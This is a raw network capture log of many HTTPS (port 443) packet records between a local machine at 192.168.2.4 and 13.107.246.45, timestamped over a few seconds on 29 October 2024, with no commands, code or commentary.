Oct 29, 2024 10:47:35.822194099 CET	443	49795	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.825078011 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.825105906 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.825130939 CET	49793	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.825149059 CET	443	49793	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.967540026 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.967613935 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.967713118 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.982363939 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.982414007 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.999232054 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:35.999329090 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:35.999424934 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.013514042 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.013531923 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.013720036 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.020482063 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.020520926 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.020602942 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.028002024 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.028040886 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.028325081 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.028350115 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.029067039 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.029098034 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.039042950 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.039108992 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.039192915 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.042702913 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.042732954 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.713341951 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.762743950 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.768997908 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.770843029 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.776789904 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.783971071 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.818830967 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.818830967 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.818897963 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.827847958 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.827891111 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.839903116 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.839921951 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.842652082 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.842662096 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.854756117 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.854763031 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.864042044 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.864058018 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.864604950 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.864612103 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.868148088 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.868160963 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.868678093 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.868690014 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.871752024 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.871758938 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.872142076 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.872148037 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.982527018 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.982594013 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.982757092 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.992070913 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.992594004 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:36.992768049 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.999588013 CET	49798	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:36.999634027 CET	443	49798	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.005877972 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.006036997 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.006074905 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.006247997 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.006326914 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.006386995 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.028275013 CET	49799	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.028296947 CET	443	49799	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.030411005 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.030416012 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.030447006 CET	49797	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.030452967 CET	443	49797	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.128108978 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.128153086 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.128200054 CET	49796	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.128216982 CET	443	49796	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.135502100 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.135555029 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.135611057 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.137845039 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.137928963 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.137999058 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.138482094 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.138504028 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.139872074 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.139899969 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.145304918 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.145318031 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.145375013 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.145894051 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.145912886 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.148253918 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.148291111 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.148345947 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.148461103 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.148478985 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.352967978 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.353157043 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.353210926 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.353346109 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.353384018 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.353411913 CET	49800	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.353430986 CET	443	49800	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.356818914 CET	49805	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.356858969 CET	443	49805	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:37.356929064 CET	49805	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.357059002 CET	49805	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:37.357073069 CET	443	49805	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.078242064 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.082045078 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.085581064 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.104387999 CET	443	49805	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.108844995 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.118859053 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.118892908 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.120812893 CET	49805	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.120815992 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.120824099 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.120841026 CET	443	49805	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.121624947 CET	49805	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.121634007 CET	443	49805	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.122478962 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.122478962 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.122488976 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.122507095 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.122843981 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.122886896 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.123529911 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.123541117 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.124124050 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.124178886 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.131627083 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.131644964 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.248145103 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.248229980 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.248383045 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.248768091 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.248795033 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.248826981 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.248833895 CET	49804	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.248842001 CET	443	49804	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.248931885 CET	443	49805	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.249412060 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.249535084 CET	443	49805	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.249608040 CET	49805	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.249609947 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.251140118 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.251147985 CET	49805	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.251168013 CET	443	49805	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.251183033 CET	49805	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.251190901 CET	443	49805	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.251215935 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.251341105 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.252338886 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.252370119 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.252413034 CET	49801	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.252427101 CET	443	49801	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.253571987 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.253582954 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.253642082 CET	49803	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.253648043 CET	443	49803	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.256669044 CET	49806	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.256704092 CET	443	49806	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.256711006 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.256808043 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.256838083 CET	49806	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.256992102 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.257306099 CET	49806	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.257313967 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.257322073 CET	443	49806	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.257353067 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.257389069 CET	49802	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.257405043 CET	443	49802	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.262269974 CET	49807	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.262270927 CET	49808	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.262298107 CET	443	49808	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.262298107 CET	443	49807	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.263669014 CET	49807	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.263674974 CET	49808	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.264014006 CET	49807	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.264025927 CET	443	49807	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.264059067 CET	49808	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.264065981 CET	49809	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.264075041 CET	443	49808	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.264122963 CET	443	49809	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.264297962 CET	49809	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.264890909 CET	49809	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.264919996 CET	443	49809	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.265625000 CET	49810	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.265645981 CET	443	49810	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.267666101 CET	49810	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.267959118 CET	49810	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.267981052 CET	443	49810	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.992630959 CET	443	49806	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:38.997883081 CET	49806	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:38.997916937 CET	443	49806	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.001724005 CET	49806	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.001733065 CET	443	49806	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.011085987 CET	443	49807	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.014494896 CET	443	49808	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.015122890 CET	49807	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.015137911 CET	443	49807	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.018629074 CET	443	49809	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.020869017 CET	443	49810	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.020908117 CET	49807	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.020915031 CET	443	49807	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.026139021 CET	49809	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.026139021 CET	49809	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.026175022 CET	443	49809	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.026201963 CET	443	49809	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.033569098 CET	49808	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.033569098 CET	49808	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.033585072 CET	443	49808	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.033605099 CET	443	49808	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.037976980 CET	49810	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.037982941 CET	443	49810	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.042258978 CET	49810	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.042263031 CET	443	49810	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.127351999 CET	443	49806	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.127548933 CET	443	49806	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.127610922 CET	49806	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.132617950 CET	49806	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.132643938 CET	443	49806	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.132666111 CET	49806	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.132673025 CET	443	49806	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.135262966 CET	49811	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.135343075 CET	443	49811	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.135420084 CET	49811	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.135582924 CET	49811	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.135601997 CET	443	49811	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.146471977 CET	443	49807	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.146569014 CET	443	49807	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.146619081 CET	49807	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.146754026 CET	49807	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.146770954 CET	443	49807	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.146780968 CET	49807	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.146785975 CET	443	49807	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.149046898 CET	49812	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.149071932 CET	443	49812	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.149127960 CET	49812	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.149245977 CET	49812	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.149260044 CET	443	49812	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.154176950 CET	443	49809	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.154241085 CET	443	49809	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.154295921 CET	49809	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.154438972 CET	49809	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.154438972 CET	49809	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.154469013 CET	443	49809	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.154493093 CET	443	49809	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.156934023 CET	49813	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.156963110 CET	443	49813	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.157022953 CET	49813	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.157135963 CET	49813	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.157150984 CET	443	49813	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.161587954 CET	443	49808	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.162112951 CET	443	49808	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.162169933 CET	49808	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.162205935 CET	49808	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.162224054 CET	443	49808	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.162237883 CET	49808	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.162242889 CET	443	49808	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.163969040 CET	49814	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.163978100 CET	443	49814	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.164025068 CET	49814	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.164155960 CET	49814	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.164167881 CET	443	49814	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.210047007 CET	443	49810	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.210218906 CET	443	49810	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.210270882 CET	49810	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.210310936 CET	49810	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.210320950 CET	443	49810	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.210328102 CET	49810	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.210333109 CET	443	49810	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.212236881 CET	49815	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.212275028 CET	443	49815	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.212323904 CET	49815	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.212439060 CET	49815	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.212452888 CET	443	49815	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.896306992 CET	443	49811	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.896785021 CET	49811	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.896811962 CET	443	49811	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.897428989 CET	49811	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.897438049 CET	443	49811	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.897444010 CET	443	49814	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.897883892 CET	49814	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.897905111 CET	443	49814	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.898458958 CET	49814	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.898463964 CET	443	49814	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.898513079 CET	443	49812	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.898866892 CET	49812	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.898874044 CET	443	49812	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.899369001 CET	49812	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.899374008 CET	443	49812	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.930001974 CET	443	49813	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.930464983 CET	49813	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.930502892 CET	443	49813	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.930912971 CET	49813	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.930919886 CET	443	49813	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.940150976 CET	443	49815	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.940485001 CET	49815	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.940502882 CET	443	49815	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:39.940989017 CET	49815	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:39.940994024 CET	443	49815	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.026767969 CET	443	49814	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.027081013 CET	443	49814	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.027134895 CET	49814	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.027215004 CET	49814	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.027215004 CET	49814	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.027230024 CET	443	49814	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.027251959 CET	443	49814	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.028018951 CET	443	49811	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.028223038 CET	443	49811	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.028269053 CET	49811	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.028345108 CET	49811	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.028361082 CET	443	49811	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.028374910 CET	49811	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.028383970 CET	443	49811	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.030231953 CET	443	49812	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.030622959 CET	443	49812	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.030740023 CET	49812	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.030776024 CET	49817	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.030869961 CET	443	49817	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.030949116 CET	49817	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.031004906 CET	49818	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.031099081 CET	443	49818	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.031130075 CET	49812	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.031135082 CET	443	49812	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.031179905 CET	49817	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.031193018 CET	49818	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.031214952 CET	443	49817	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.031255960 CET	49818	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:40.031299114 CET	443	49818	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:40.033394098 CET	49819	443	192.168.2.4	13.107.246.45
